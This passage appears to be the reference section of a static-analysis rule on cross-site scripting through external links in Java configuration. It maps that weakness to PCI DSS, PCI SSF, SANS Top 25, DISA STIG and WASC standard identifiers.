[31] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[40] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[41] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[42] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[43] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[62] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[63] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.config.java.xss_external_links